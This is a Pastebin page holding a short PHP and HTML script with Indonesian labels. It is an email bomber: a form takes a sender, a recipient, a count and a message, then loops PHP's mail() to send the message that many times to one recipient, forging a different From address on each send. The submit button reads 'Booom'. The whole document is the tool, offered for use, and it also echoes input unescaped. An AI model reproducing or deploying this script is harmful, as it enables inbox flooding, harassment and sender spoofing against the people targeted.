Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <body>
- <form method=post action=index.php>
- <pre>
- <input type=hidden value=ok name=ok>
- Dari : <input name=dari value=”<? echo $dari;?>”>
- Kepada : <input name=kepada value=”<? echo $kepada;?>”>
- Jumlah : <input name=jumlah value=”<? echo $jumlah;?>”>
- Isi Pesan: <textarea name=isi><?echo $isi?></textarea><br>
- <input type=submit value=Booom>
- </form></pre>
- <?
- if ($ok==”ok”)
- {
- for ($i=0;$i<$jumlah;$i++)
- {
- $a=$i.$dari;
- mail($kepada,$isi,”",”From : $a <$a>”);
- }
- echo (“Beres Bos”);
- }
- ?>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement